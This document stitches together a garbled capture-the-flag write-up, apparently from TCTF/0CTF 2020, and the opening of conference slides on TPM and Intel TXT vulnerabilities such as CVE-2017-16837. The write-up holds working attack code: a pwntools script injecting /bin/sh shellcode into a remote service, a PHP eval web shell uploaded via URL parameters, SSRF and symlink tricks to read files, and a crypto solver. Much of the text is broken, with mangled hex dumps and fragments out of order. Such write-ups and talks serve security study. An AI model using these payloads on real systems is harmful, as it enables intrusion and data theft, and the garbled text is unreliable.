_byteswap_ushort(data[1]); X2 = _byteswap_ushort(data[2]); X3 = _byteswap_ushort(data[3]); } else { X0 = data[0]; X1 = data[1]; X2 = data[2]; X3 = data[3]; } uint16_t tmp1, tmp2; // Apply 8 rounds for (i = 0; i < 8; i++) { // printf("%d: %04X %04X %04X %04X\n", i, X0, X1, X2, X3); X0 = mulMod65537(X0, subKey[6 * i + 0]); // Step 1 X1 += subKey[6 * i + 1]; // Step 2 X2 += subKey[6 * i + 2]; // Step 3 X3 = mulMod65537(X3, subKey[6 * i + 3]); // Step 4 tmp1 = X0 ^ X2; // Step 5 tmp2 = X1 ^ X3; // Step 6 tmp1 = mulMod65537(tmp1, subKey[6 * i + 4]); // Step 7 tmp2 += tmp1; // Step 8 tmp2 = mulMod65537(tmp2, subKey[6 * i + 5]); // Step 9 tmp1 += tmp2; // Step 10 X0 ^= tmp2; X1 ^= tmp1; X2 ^= tmp2; X3 ^= tmp1; // Swap X1 and X2 tmp1 = X1; X1 = X2; X2 = tmp1; } tmp1 = X1; tmp2 = X2; // Apply the half round data[0] = mulMod65537(X0, subKey[6 * i + 0]); data[1] = tmp2 + subKey[6 * i + 1]; data[2] = tmp1 + subKey[6 * i + 2]; data[3] = mulMod65537(X3, subKey[6 * i + 3]); if (func == decrypt) { data[0] = _byteswap_ushort(data[0]); data[1] = _byteswap_ushort(data[1]); data[2] = _byteswap_ushort(data[2]); data[3] = _byteswap_ushort(data[3]); } } __int64 __fastcall sub_140001000(unsigned __int16* a1, __int64 a2, unsigned int* a3, unsigned int* dec) { unsigned __int16* v5; // rsi int v6; // eax int v7; // ebx int v8; // eax int v9; // ebp int v10; // eax int v11; // er14 unsigned __int16 v12; // ax unsigned int v0; // er12 unsigned int v1; // er9 unsigned int v15; // er10 __int64 v16; // r8 int v17; // er15 __int64 v18; // r11 int v19; // er8 int v20; // er15 int v21; // ecx __int64 v22; // rdx __int64 v23; // rcx unsigned int v24; // ebx int v25; // esi int v26; // esi int v27; // edx unsigned int v28; // eax unsigned int v29; // er9 __int64 v30; // rbp __int64 v31; // rdx unsigned int v32; // ecx int v33; // er13 int v34; // edx int v35; // er15 unsigned int v36; // er10 int v37; // edi int v38; // edx __int64 v39; // r9 __int64 v40; // r8 unsigned int v41; // ebp int v42; // esi int v43; // edx unsigned int v44; // er15 unsigned int v45; // edi unsigned __int32 v46; // ebx int v47; // esi unsigned int v48; // ebx __int64 v49; // rsi unsigned int v50; // eax unsigned int v51; // edi __int64 v52; // r8 unsigned __int64 v53; // rax unsigned int v54; // edi unsigned int v56; // [rsp+28h] [rbp-50h] __int64 v57; // [rsp+30h] [rbp-48h] v5 = a1; LOWORD(v6) = _byteswap_ushort(*a1); v7 = v6; LOWORD(v8) = _byteswap_ushort(v5[1]); v9 = v8; LOWORD(v10) = _byteswap_ushort(v5[2]); v11 = v10; v12 = _byteswap_ushort(v5[3]); v0 = *a3; v1 = a3[1]; v15 = 0x104D9AF0; v16 = 0x4E43E792i64; v17 = 0x9C87CF24; v18 = 0i64; v57 = a2; while (1) { v22 = *(unsigned __int16*)(a2 + v18); v23 = v22 * (unsigned __int16)v7; if (!(_DWORD)v23) break; v24 = (((unsigned int)((v23 | (unsigned __int64)(v23 << 32)) >> 16) - (unsigned int)v23) >> 16) + 1; v25 = *(unsigned __int16*)(a2 + v18 + 2); if ((_DWORD)v18 == 96) goto LABEL_16; LABEL_7: v26 = v9 + v25; LOWORD(v11) = *(_WORD*)(a2 + v18 + 4) + v11; v27 = v12 * *(unsigned __int16*)(a2 + v18 + 6); if (v27) v28 = ((unsigned int)(__ROL4__(v27, 16) - v27) >> 16) + 1; else LOWORD(v28) = 1 - v12 - *(_WORD*)(a2 + v18 + 6); v29 = v1 - ((v0 + ((v0 >> 5) ^ (16 * v0))) ^ (v15 + *(_DWORD*)(a2 + 2i64 * ((v15 >> 10) & 6)))); v30 = *(unsigned __int16*)(a2 + v18 + 8); v31 = v30 * (unsigned __int16)(v24 ^ v11); v56 = v15; if ((_DWORD)v31) v32 = (((unsigned int)((v31 | (unsigned __int64)(v31 << 32)) >> 16) - (unsigned int)v31) >> 16) + 1; else v32 = 1 - (unsigned __int16)(v24 ^ v11) - v30; v33 = v17; v34 = *(_DWORD*)(v57 + 2i64 * (v17 & 4)); v35 = v16; v36 = v29; v37 = (v16 + v34) ^ (v29 + ((v29 >> 5) ^ (16 * v29))); v38 = (unsigned __int16)v32 + (unsigned __int16)(v28 ^ v26); v39 = *(unsigned __int16*)(v57 + v18 + 10); v40 = v39 * (unsigned __int16)v38; if ((_DWORD)v40) v41 = (((unsigned int)((v40 | (unsigned __int64)(v40 << 32)) >> 16) - (unsigned int)v40) >> 16) + 1; else v41 = 1 - v38 - v39; v19 = v35; v1 = v36; v20 = v33; a2 = v57; v15 = v56 + 0x3DF64CA2; v0 -= v37; v21 = v32 + v41; v7 = v41 ^ v24; // here v12 = v21 ^ v28; // v12 changes v9 = v41 ^ v11; // v9 changes v18 += 12i64; v16 = (unsigned int)(v19 + 0x3DF64CA2); v17 = v20 + 0x7BEC9944; v11 = v21 ^ v26; // v11 changes } v24 = 1 - v7 - v22; v25 = *(unsigned __int16*)(a2 + v18 + 2); if ((_DWORD)v18 != 96) goto LABEL_7; LABEL_16: v42 = (unsigned __int16)v11 + v25; v43 = v12 * *(unsigned __int16*)(a2 + 102); v44 = v1; if (v43) v45 = ((unsigned int)(__ROL4__(v43, 16) - v43) >> 16) + 1; else LOWORD(v45) = 1 - v12 - *(_WORD*)(a2 + 102); v46 = _byteswap_ulong((unsigned __int16)v24) >> 16; v47 = (v42 << 24) | (v42 << 8) & 0x1FF0000; v48 = v47 ^ v0 ^ v46; v49 = ((unsigned __int16)v45 << 8) | ((unsigned __int16)v45 >> 8); v50 = _byteswap_ulong((unsigned __int16)(*(_WORD*)(a2 + 100) + v9)); v51 = v50; v53 = ((v49 << 32) | (unsigned __int64)v51) >> 16; v54 = v48 | v53 ^ v44; dec[0] = v0; dec[1] = v1; return (int)v54; } int main() { unsigned char flag[] = "flag{1111111111111111111111111}"; uint32 dec[2*4+1] = { 0 }; for (int i = 0; i < 4; i++) { sub_140001000((unsigned __int16*)flag, (__int64)g_keys, (unsigned int*)(data + 8 * i), &dec[2 * i]); } w wwsecretwasm 0x200 XOR CBC WASM9 uint16_t* key = (uint16_t*)"TCTF_QUALS_2020_"; for (int i = 0; i < 4; i++) { IDEA((uint16*)dec + i * 4, key, decrypt); } printf("%s\n", dec); return 0; } total_time = len >> 9; cursrc = (char *)src; for i in range(total_time): key2 = -1 for j in range(0x200): key1 = j & 0x1F; c = cursrc[j] ^ key2 ^ dst[key1]; key2 = cursrc[j]; cursrc[j] = c - key1; cursrc += 512; eNj0y_web 0x200 28020c212141d70021 (!!A! 0x400 6b2122200320223602 k!" "6 0x600 0274215a2003280278 t!Z (x 0x800 2104200320046b2105 ! k! 0xa00 290308211f201fa721 )! ! 0xc00 808000211d2005201d ! 0xe00 222021212320222124 " !!# "!$ 0x1000 602167206620674a21 `!g f gJ! 0x1200 020c21a30120072802 ! ( 0x1400 21dc01200720dc0136 ! 6 0x1600 072005200036022c20 6, 0x1800 80001a200528020821 (! 0x1a00 410021042003200036 A! 6 0x1c00 41012123202220236a A!# " #j 0x1e00 021821072007210820 ! 0x2000 25712126201f212702 %q!& !' :00 0e200e200d3a00000c 0x2400200a0d000c010b2003wwww Key keyemB 0x2400 200a0d000c010b2003 0x2600 0220216a2122202221 !j!" "! 0x2800 02280248215c200228 (H!\ ( 0x2a00 0020022802d8082194 (! 0x2c00 0220bf016a21c00120 j! 0x2e00 410372360204200420 Ar6 0x3000 6a2106200828021022 j!(" 0x3200 787120036b22022006 xq k" 0x3400 8d80800021040c010b ! kAd00200720026b4100 0x3800 0041002802c08d8080 A( 0x3a00 808000410041002802 AA( 0x3c00 20006a210020052007 j! 0x3e00 200241486a22082000 AHj 0x4000 200041027441888c80 AtA 4200 2802102200450d0020 ("E 0x4400 210320004101742100 ! At! 0x4600 0b0a002000109a8080 0x4800 021020022005360218 6 0x4a00 200536020c0c010b02 6 0x4c00 220520054180800f6a " Aj 0x4e00 006a2203417f6a2001 j"A•j 0x5000 3f0a00696e70757420 ? input eNj0y_weba5SemB9Q\xaf\x8f\xf4 0x0 0061736d0100000001320960017f00 asm2 `• 0x200 28020c212141d7002122202120226c (!!A!" ! "l 0x400 6b2122200320223602742003201f36 k!" "6t 6 0x600 0274215a2003280278215b2059205a t!Z (x![ Y Z 0x800 2104200320046b2105200524808080 ! k! $ 0xa00 290308211f201fa7212020200f0b98 )! ! 0xc00 808000211d2005201d360200200528 ! 6 ( 0xe00 222021212320222124202320244921 " !!# "!$ # $I! 0x1000 602167206620674a21684101216920 `!g f gJ!hA!i 0x1200 020c21a301200728022c21a4012007 ! (,! 0x1400 21dc01200720dc0136020c0c020b20 ! 6 0x1600 072005200036022c20052001360228 6, 6( 0x1800 80001a20052802082147200528021c (!G ( 0x1a00 410021042003200036020820032802 A! 6 ( 0x4e00006a2203417f6a20013a0000200241ww key wasm retflagflag 0x1c00 41012123202220236a212420052024 A!# " #j!$ $ 0x1e00 021821072007210820062109200820 ! ! x2000 25712126201f212702402026450d00 %q!& !'@ &E :A!00e200d3a00000c010b4100210f 0x2400 200a0d000c010b200328020c210b20 (! 0x2600 0220216a2122202221234103212441 !j!" "!#A!$A 0x2800 02280248215c2002280218215d205c (H!\ (!] \ 0x2a00 0020022802d80821940120022802d4 (! ( 0x2c00 0220bf016a21c00120c00124808080 j! $ 0x2e00 410372360204200420064103742206 Ar6 At" 00 6a2106200828021022000d000b200b j!(" 0x3200 787120036b22022006492105024020 xq k" I!@ 0x3400 8d80800021040c010b4100427f3702 !AB•7 kA(720026b41002802b88d8080 0x3800 0041002802c08d8080003602f48980 A(6 0x3a00 808000410041002802e08980800020 AA( 0x3c00 20006a2100200520076a21050b2005 j! j! 0x3e00 200241486a220820006b2200410172 AHj k"Ar 0x4000 200041027441888c8080006a210602 AtAj! 6802102200450d0020052000360210 ("E 0x4400 210320004101742100200420034104 ! At! A 0x4600 0b0a002000109a808080000bf40e01 0x4800 0210200220053602180b2001280214 6 ( 0x4a00 200536020c0c010b0240200341146a 6@ Aj 0x4c00 220520054180800f6a411076410271 " AjAvAq 0x4e00 006a2203417f6a20013a0000200241 j"A•j : A 0x5000 3f0a00696e707574206e6577207061 ? input new pa eNj0y_weba5SemB1Y.lstrip("web")! flash-1 void __cdecl sub_8000081C(int a1, int a2, int a3, int a4) { __int16 v4; // $a0 __int16 v5; // $a0 __int16 v6; // $a0 __int16 v7; // $a0 __int16 v8; // $a0 __int16 v9[3]; // [sp+10h] [+10h] __int16 v10; // [sp+16h] [+16h] int v11; // [sp+18h] [+18h] int v12; // [sp+20h] [+20h] unsigned __int16 v13; // [sp+28h] [+28h] unsigned __int16 v14; // [sp+2Ch] [+2Ch] unsigned __int16 v15; // [sp+32h] [+32h] __int16 v16; // [sp+36h] [+36h] __int16 v17; // [sp+3Ah] [+3Ah] *(_DWORD *)v9 = 0; while ( 1 ) { if ( *(_DWORD *)v9 ) break; *(_DWORD *)&v9[1] = *(unsigned __int16 *)instructions; instructions = (int *)((char *)instructions + 2); if ( (unsigned __int16)v9[2] < 0xEu ) { switch ( v9[2] ) { case 0: v17 = pop_magic(); v4 = v17 + pop_magic(); push_magic(v4); break; case 1: v16 = pop_magic(); v5 = v16 - pop_magic(); push_magic(v5); break; case 2: v15 = pop_magic(); dword_80003D28 = v15 * (unsigned __int16)pop_magic(); break; case 3: v6 = dword_80003D28 % (unsigned int)(unsigned __int16)pop_magic(); push_magic(v6); break; case 4: v14 = pop_magic(); v7 = v14 < (unsigned int)(unsigned __int16)pop_magic(); push_magic(v7); break; case 5: v13 = pop_magic(); v8 = v13 == (unsigned __int16)pop_magic(); push_magic(v8); break; case 6: v12 = *(__int16 *)instructions; instructions = (int *)((char *)instructions + 2); __asm { mtc0 $zero, Count # Timer Count mtc0 $zero, Count # Timer Count } if ( pop_magic() ) { instructions = (int *)((char *)instructions + 2 * (v12 / 2)); } break; case 7: v11 = *(__int16 *)instructions; instructions = (int *)((char *)instructions + 2); __asm { mtc0 $zero, Count # Timer Count mtc0 $zero, Count # Timer Count } if ( !pop_magic() ) { instructions = (int *)((char *)instructions + 2 * (v11 / 2)); } break; case 8: push_magic(*(_WORD *)input); input += 2; break; case 9: v10 = *(_WORD *)instructions; instructions = (int *)((char *)instructions + 2); push_magic(v10); break; case 0xA: push_magic(inputlen); break; case 0xB: inputlen = pop_magic(); break; case 0xC: pop_magic(); break; case 0xD: *(_DWORD *)v9 = 1; break; } } } __asm { mtc0 $zero, Count # Timer Count } } 0000 GETIMM 91d 0004 GETIMM 0 0008 GETINPUTLEN 000a SETEQ 000c J.TRUE 24 0010 GETIMM 1 0014 GETINPUTLEN 0016 SUB 0018 SETINPUTLEN 001a GETINPUT 001c GETIMM 1 0020 J.TRUE 4 0024 GETIMM 11 0028 MUL 002a GETIMM b248 002e MOD 0030 GETIMM 72a9 0034 SETEQ 0036 J.FALSE 18 flag[0]*0x11%0xb248 == 0x72a9 003a GETIMM 11 003e MUL 0040 GETIMM b248 0044 MOD 0046 GETIMM 97e 004a SETEQ 004c J.FALSE 2e 0050 GETIMM 11 0054 MUL 0056 GETIMM b248 005a MOD 005c GETIMM 5560 0060 SETEQ 0062 J.FALSE 44 0066 GETIMM 11 006a MUL 006c GETIMM b248 0070 MOD 0072 GETIMM 4ca1 0076 SETEQ 0078 J.FALSE 5a 007c GETIMM 11 0080 MUL 0082 GETIMM b248 0086 MOD 0088 GETIMM 37 008c SETEQ 008e J.FALSE 70 0092 GETIMM 11 0096 MUL 0098 GETIMM b248 009c MOD 009e GETIMM aa71 00a2 SETEQ 00a4 J.FALSE 86 00a8 GETIMM 11 00ac MUL 00ae GETIMM b248 00b2 MOD 00b4 GETIMM 122c 00b8 SETEQ 00ba J.FALSE 9c 00be GETIMM 11 00c2 MUL 00c4 GETIMM b248 00c8 MOD 00ca GETIMM 4536 00ce SETEQ 00d0 J.FALSE b2 00d4 GETIMM 11 00d8 MUL 00da GETIMM b248 00de MOD 00e0 GETIMM 11e8 00e4 SETEQ 00e6 J.FALSE c8 00ea GETIMM 11 00ee MUL 00f0 GETIMM b248 00f4 MOD 00f6 GETIMM 1247 00fa SETEQ 00fc J.FALSE de 0100 GETIMM 11 0104 MUL 0106 GETIMM b248 010a MOD 010c GETIMM 76c7 0110 SETEQ 0112 J.FALSE f4 0116 GETIMM 11 011a MUL 011c GETIMM b248 0120 MOD 0122 GETIMM 96d 0126 SETEQ 0128 J.FALSE 10a 012c GETIMM 11 0130 MUL 0132 GETIMM b248 0136 MOD 0138 GETIMM 122c 013c SETEQ 013e J.FALSE 120 0142 GETIMM 11 0146 MUL 0148 GETIMM b248 014c MOD 014e GETIMM 87cb 0152 SETEQ 0154 J.FALSE 136 0158 GETIMM 11 015c MUL 015e GETIMM b248 Misc eeemoji 0162 MOD 0164 GETIMM 9e4 0168 SETEQ 016a J.FALSE 14c 016e GETIMM 91d 0172 J.FALSE 154 0174 GETINPUT 0176 GETIMM 0 017a SETINPUTLEN 017c STOP from pwn import * #p = process('./eeemoji',env={'LD_PRELOAD':'./libc-2.27.so'}) p = remote('pwnable.org', 31322) def convaddr(a): f = ord(a[0]) if f & 0b11111100 == 0b11111100: ans = ((ord(a[0])&0b1)<<30) | ((ord(a[1])&0b00111111)<<24) | ((ord(a[2])&0b00111111)<<18)| ((ord(a[3])&0b00111111)<<12)| ((ord(a[4])&0b00111111)<<6)|((ord(a[5])&0b00111111)) ans2 = ((ord(a[6])&0b111)<<12) |((ord(a[7])&0b00111111)<<6) | ((ord(a[8])&0b00111111)) return (ans2 << 32) | ans elif f & 0b11111000 == 0b11111000: ans = ((ord(a[0])&0b11)<<24) |((ord(a[1])&0b00111111)<<18)| ((ord(a[2])&0b00111111)<<12)|((ord(a[3])&0b00111111)<<6)| ((ord(a[4])&0b00111111)) ans2 = ((ord(a[5])&0b111)<<12) | ((ord(a[6])&0b00111111)<<6) | ((ord(a[7])&0b00111111)) return (ans2 << 32) | ans def addrconv(a): a = a & 0xffffffff bits = bin(a)[2:] l = len(bits) if l <=16: b1 = int('10'+bits[-6:],2) b2 = int('10'+bits[-12:-6],2) b3 = int('1110'+bits[:-12].rjust(4,'0'),2) conved = chr(b3) + chr(b2) + chr(b1) return conved elif 16<l<=24: b1 = int('10'+bits[-6:],2) b2 = int('10'+bits[-12:-6],2) b3 = int('10'+bits[-18:-12],2) b4 = int('10'+bits[:-18].rjust(6,'0'),2) b5 = 0b11111000 conved = chr(b5) + chr(b4) + chr(b3) + chr(b2) + chr(b1) return conved elif 24<l<=26: b1 = int('10'+bits[-6:],2) b2 = int('10'+bits[-12:-6],2) b3 = int('10'+bits[-18:-12],2) b4 = int('10'+bits[-24:-18],2) b5 = int('111110'+bits[:-24].rjust(2,'0'),2) conved = chr(b5) + chr(b4) + chr(b3) + chr(b2) + chr(b1) return conved elif 26<l<=30: b1 = int('10'+bits[-6:],2) b2 = int('10'+bits[-12:-6],2) b3 = int('10'+bits[-18:-12],2) b4 = int('10'+bits[-24:-18],2) b5 = int('10'+bits[:-24].rjust(6,'0'),2) b6 = 0b11111100 conved = chr(b6) + chr(b5) + chr(b4) + chr(b3) + chr(b2) + chr(b1) return conved elif l>30: b1 = int('10'+bits[-6:],2) b2 = int('10'+bits[-12:-6],2) b3 = int('10'+bits[-18:-12],2) b4 = int('10'+bits[-24:-18],2) b5 = int('10'+bits[-30:-24],2) b6 = int('1111110'+bits[:-30].rjust(1,'0'),2) conved = chr(b6) + chr(b5) + chr(b4) + chr(b3) + chr(b2) +chr(b1) return conved BEER = '\xf0\x9f\x8d\xba' BULL = '\xf0\x9f\x90\xae' HORSE = '\xf0\x9f\x90\xb4' p.sendline(BEER) raw_input() #p.sendline(BULL) print p.recv() p.sendline(HORSE) off = addrconv(0x41414141) a1 = addrconv(0x49006a90) a2 = addrconv(0x69622fb8) a3= addrconv(0x68732f6e) a4 = addrconv(0x48504100) a5 = addrconv(0x03bc0c7) a6 = addrconv(0x48900000) a7 = addrconv(0x4890e789) a8 = addrconv(0x3148f631) Cloud Computing bypass openbasedir flagbinwalkflag Cloud Computing v2 http://pwnable.org:47781/?action=upload&data[0]=<&data[1]=?&data[2]=eval($_GET[1]); http://pwnable.org:47781/?action=shell&1=var_dump(1); http://pwnable.org:47781/?action=shell&1=var_dump(file_get_contents("http://127.0.0.1:80/")); SuperSafeCloudAgent v1.0 127.0.0.1:80 https://github.com/agent853/agent : "/" ⇒ main_hello "/init" ⇒ main_initc, "/read" ⇒ main_read"/scan"⇒ main_scan; e.GET, e.Start("127.0.0.1:80") dir^/var/www/html/sandbox/[0-9a-f]{40}/ init config.json GET /read?dir=xxxxx&target= xx readconfigban ban flag scan: scandir, "*.php", main_updateFile, , index.php a9 = addrconv(0x050f90d2) a10 = addrconv(0x58415841) a11 = addrconv(0x58415841) a12 = addrconv(0x000000c3) sh = off+a1+a2+a3+a4+a5+a6+a7+a8+a9+a10+a11 print sh.encode('hex') raw_input() p.send(sh+(130-12)*addrconv(0x71725341)) p.interactive() {"ban": "flag"} <http://127.0.0.1:80/init? dir=/var/www/html/sandbox/8c626e1bd8bd130935d6e1890559ef09074fe3f7/> <http://127.0.0.1:80/read? dir=/var/www/html/sandbox/8c626e1bd8bd130935d6e1890559ef09074fe3f7/%26target=i ndex.php> scanphpconfig.jsonphp scanconfig.json shellreadflag Crypto babyring 1=error_reporting(-1);symlink("/var/www/html/sandbox/690e89846bf794be4ed29f1ee ca5e7f7f5b6ae92/config.json","/var/www/html/sandbox/690e89846bf794be4ed29f1eec a5e7f7f5b6ae92/baba.php");echo file_get_contents("<http://127.0.0.1/scan? dir=/var/www/html/sandbox/690e89846bf794be4ed29f1eeca5e7f7f5b6ae92/>"); #!/usr/bin/env sage from Crypto.Cipher import ARC4 import IPython, hashlib, struct, os, itertools, string, ast os.environ["TERM"] = 'screen' (e, Ns) = ast.literal_eval(open("./pub.txt", 'rb').read()) K = 64 F = GF(2) M = Matrix(F, 0, K) def to_vector(v): return vector([((v % (2^K)) >> i) & 1 for i in xrange(K)]) xs, ys = [], [] while M.nrows() != K: idx = M.nrows() x = randint(1, 10^60) y = ZZ(pow(x, e, Ns[idx])) vec = to_vector(y) Mr = M.stack(vec) if Mr.rank() != idx + 1: continue M = Mr xs.append(x) ys.append(y) print 'Collecting: %d / %d' % (M.rank(), K) M = M.transpose() msg = 'Hello' key = hashlib.sha256(msg).digest()[:16] E = ARC4.new(key) ksum = 0 for i in xrange(K): (ks, ) = struct.unpack("Q", E.encrypt(8 * '\x00')) ksum = ks ^^ ksum kv = to_vector(ksum) sol = M.solve_right(kv) kverify = 0 for i in xrange(K): if sol[i] != 0: kverify = kverify ^^ (ys[i] % (2^K)) assert kverify == ksum from pwn import * context.log_level = 'DEBUG' p = remote("pwnable.org", 10001) p.recvuntil("+") suffix = p.recvuntil(")", drop=True) p.recvuntil(" == ") h = p.recvline().strip() for comb in itertools.product(string.ascii_letters+string.digits, repeat=4): s = ''.join(comb) + suffix if hashlib.sha256(s).hexdigest() == h: p.sendline(''.join(comb)) break else: raise Exception("PoW failed...") p.sendlineafter("message: ", msg) for i in xrange(K): if sol[i] == 0: p.sendlineafter(": ", "0") else: p.sendlineafter(": ", str(xs[i])) p.sendlineafter(": ", str(1234)) p.interactive()
pdf
Betrayal of Reputation Trusting the Untrustable Hardware and Software with Reputation Seunghun Han Senior Security Researcher at National Security Research Institute 29 May 2019 - Senior security researcher at NSR (National Security Research Institute of South Korea) - Influencer Member of Black Hat Asia 2019 - Review Board Member of KIMCHICON - Speaker at - USENIX Security 2018 - Black Hat Asia 2017 - 2019 - HITBSecConf 2016 - 2017 - BeVX and KIMCHICON 2018 - Author of “64-bit multi-core OS principles and structure, Vol. 1 and Vol. 2) - a.k.a kkamagui @kkamagui1 Who Am I? - Introduce a stereotype about reputation - REPUTATION does not mean TRUSTWORTHINESS! - Unfortunately, we easily trust something because of REPUTATION! - Present the case that the reputation betrays you - BIOS/UEFI firmware and Trusted Platform Module (TPM) were made by REPUTABLE companies! - However, I found two vulnerabilities, CVE-2017-16837 and CVE-2018- 6622, that can subvert the TPM - Present countermeasures and what we should do - Trust nothing with REPUTATION and check everything for yourself! Goal of This Talk Previous Works Reputation is based on trust! We just believe products of reputable companies trustable Reputable Companies (High Price) Other Companies (Low Price) for you! for presents! Reputable Companies (High Price) Other Companies (Low Price) for you! for presents! I KNOW WHAT YOU DID FOR THE PRESENTS! Trusted Building Block Root of Trust for Measurement Core RTM Reputable products are really trustable? Reputable Trustable! Everyone has a plan, until they get punched in the mouth. - Mike Tyson Everyone has a plan, until they get punched in the mouth. - Mike Tyson Every researcher has a plan, until they encounter their manager. - Unknown You Every researcher has a plan, until they encounter their manager. - Unknown Manager CEO Timeline ~~ Happiness 0 5 10 - 10 - 5 - 1000 - 100 2017 2018 2019 Time (year) First Encounter Second Encounter CVE-2017- 16837 CVE-2018- 6622 USENIX Security Black Hat Asia Black Hat Asia with Napper ~~ Happiness 0 5 10 - 10 - 5 - 1000 - 100 2017 2018 2019 Time (year) First Encounter Second Encounter CVE-2017- 16837 CVE-2018- 6622 USENIX Security Black Hat Asia Black Hat Asia with Napper Contents - Background Trusted Computing Group (TCG) - Defines global industry specifications and standards - All reputable companies such as Intel, AMD, IBM, HP, Dell, Lenovo, Microsoft, Cisco, Juniper Networks, and Infineon are members of it - Is supportive of a hardware root of trust - Trusted Platform Module (TPM) is the core technology - TCG technology has been applied to Unified Extensible Firmware Interface (UEFI) Trusted Computing Base (TCB) of TCG - Is a collection of software and hardware on a host platform - Manages and enforces a security policy of the system - Is able to prevent itself from being compromised - The Trusted Platform Module (TPM) helps to ensure that the TCB is properly instantiated and trustworthy Trusted Platform Module (TPM) (1) - Is a tamper-resistant device - Has own processor, RAM, ROM, and non-volatile RAM - It has own state separated from the system - Provides cryptographic and accumulating measurements functions - Measurement values are accumulated to Platform Configuration Registers (PCR #0~#23) Trusted Platform Module (TPM) (2) - Is used to determine the trustworthiness of a system by investigating the values stored in PCRs - A local verification or remote attestation can be used - Is used to limit access to secret data based on specific PCR values - “Seal” operation encrypts secret data with the PCRs of the TPM - “Unseal” operation can decrypt the sealed data only if the PCR values match the specific values Root of Trust for Measurement (RTM) - Sends integrity-relevant information (measurements) to the TPM - TPM accumulates the measurements to a PCR with the previously stored value in the PCR - Is the CPU controlled by Core RTM (CRTM) - The CRTM is the first set of instructions when a new chain of trust is established Extend: PCRnew = Hash(PCRold || Measurementnew) Static and Dynamic RTM (SRTM and DRTM) - SRTM is started by static CRTM (S-CRTM) when the host platform starts at POWER-ON or RESTART - DRTM is started by dynamic CRTM (D-CRTM) at runtime WITHOUT platform RESET - They extend measurements (hashes) of components to PCRs BEFORE passing control to them : Extend a hash of next code to the TPM : Execute next code BIOS/UEFI firmware BIOS/UEFI Code TPM Bootloader Kernel User Applications Static Root of Trust for Measurement (SRTM) S-CRTM Power On/ Restart D-CRTM (SINIT, DCE) TPM tboot (DLME) Dynamic Root of Trust for Measurement (DRTM) (Intel Trusted Execution Technology) Untrusted Code DL Event Bootloader User Applications Kernel DLME: Dynamically Launched Measured Environment DL Event : Dynamic Launch Event DCE: DRTM Configuration Environment DRTM SRTM PCR Protection - They MUST NOT be reset by disallowed operations even though an attacker gains a root privilege! - Static PCRs (PCR #0~#15) can be reset only if the host resets - Dynamic PCRs (PCR #17~#22) can be reset only if the host initializes the DRTM - If PCRs are reset by attackers, they can reproduce specific PCR values by replaying hashes - They can steal the secret and deceive the local and remote verification We trust all these mechanisms because of REPUTATION! Fortunately, they worked! We trust all these mechanisms because of REPUTATION! UNTIL I PUBLISHED THE VULNERABILITIES! Fortunately, they worked! YOU BETRAY ME! ~~ Happiness 0 5 10 - 10 - 5 - 1000 - 100 2017 2018 2019 Time (year) First Encounter Second Encounter CVE-2017- 16837 CVE-2018- 6622 USENIX Security Black Hat Asia Black Hat Asia with Napper Contents - CVE-2017-16837 Intel Trusted Execution Environment (TXT) - Is the DRTM technology of TCG specification - Intel just uses their own terminologies - ex) DCE = Secure Initialization Authenticated Code Module (SINIT ACM) DLME = Measured Launched Environment (MLE) - Has a special command (SENTER and SEXIT) to enter trustworthy state and exit from it - SENTER checks if SINIT ACM has a valid signature - Intel publishes SINIT ACM on the website Trusted Boot (tBoot) - Is a reference implementation of Intel TXT - It is an open source project (https://sourceforge.net/projects/tboot/) - It has been included many Linux distros such as RedHat, SUSE, and Ubuntu - Can verify OS and Virtual Machine Monitor (VMM) - It measures OS components and stores hashes to the TPM - Measured results in PCRs of the TPM can be verified by a remote attestation server such as Intel Open CIT - It is typically used in server environments Boot Process of tBoot CRTM BIOS/UEFI Code GRUB Pre- Launch Code Kernel initrd Remote Attestation Tool Static PCRs (PCR#0-15) Dynamic PCRs (PCR#17-22) SINIT ACM (DCE) Post- Launch Code CPU tBoot (DLME) TPM Microcode SENTER (DL event) : Execution : Measurement PCR #17 PCR #17~ #19 R.A. Server Attestation Boot process is perfect! How about sleep process? Advanced Configuration and Power Interface (ACPI) and Sleeping States - Cut off the power of… - S0: Normal, no context is lost - S1: Standby, the CPU cache is lost - S2: Standby, the CPU is POWERED OFF - S3: Suspend, CPU and devices are POWERED OFF - S4: Hibernate, the CPU, devices, and RAM are POWERED OFF - S5: Soft Off, all parts are POWERED OFF TPM is also POWERED OFF! Code is measured again while waking up! Resume Restart DRTM Measure Again! Waking Up Process of the DRTM <TCG D-RTM Architecture Specification> Sleep Process with tBoot Seal S3 key and MAC of Kernel Memory with Post-Launch PCRs Save Static PCRs(0~16) - seal_post_k_state() → g_tpm->seal() - tpm->save_state() - shutdown_system() Shutdown Intel TXT - txt_shutdown() Sleep. Power off the CPU and the TPM! Launch MLE again and then, Unseal S3 key and MAC with P-Launch PCRs Extend PCRs and Resume Kernel Wake Up, Restore Static PCRs, and Resume tBoot - Real Mode, Single CPU - begin_launch() → txt_s3_launch_environment() - post_launch() → s3_launch() → verify_integrity() → g_tpm->unseal() - verify_integrity() → extends_pcrs() →g_tpm→extend() - s3 launch()-> prot to real() Sleep Process with tBoot Seal S3 key and MAC of Kernel Memory with Post-Launch PCRs Save Static PCRs(0~16) - seal_post_k_state() → g_tpm->seal() - tpm->save_state() - shutdown_system() Shutdown Intel TXT - txt_shutdown() Sleep. Power off the CPU and the TPM! Launch MLE again and then, Unseal S3 key and MAC with P-Launch PCRs Extend PCRs and Resume Kernel Wake Up, Restore Static PCRs, and Resume tBoot - Real Mode, Single CPU - begin_launch() → txt_s3_launch_environment() - post_launch() → s3_launch() → verify_integrity() → g_tpm->unseal() - verify_integrity() → extends_pcrs() →g_tpm→extend() - s3 launch()-> prot to real() ?! “Lost Pointer” Vulnerability (CVE-2017-16837) Memory Layout of tBoot Multiboot Header Code (.text) Read-Only Data (.rodata) Uninitialized Data (.bss) Measured by Intel TXT! _mle_start _mle_end … Initialized Data (.data) struct tpm_if *g_tpm struct tpm_if tpm_12_if struct tpm_if tpm_20_if “Lost Pointer” Vulnerability (CVE-2017-16837) Memory Layout of tBoot Multiboot Header Code (.text) Read-Only Data (.rodata) Uninitialized Data (.bss) Measured by Intel TXT! _mle_start _mle_end … Initialized Data (.data) struct tpm_if *g_tpm struct tpm_if tpm_12_if struct tpm_if tpm_20_if YOU BETRAY ME! UNMEASURED! Exploit Scenario of the CVE-2017-16837 (1) Compromised Software Stack (1) Leave normal hashes in event logs BIOS/UEFI Sleep (5) Sleep Compromised Software Stack (6) Wake up (2) Extract and calculate the normal hashes (3) Store the normal hashes in RAM DCE and DLME (tboot) (5) Reset the TPM and replay the normal hashes with the hooked functions (4) 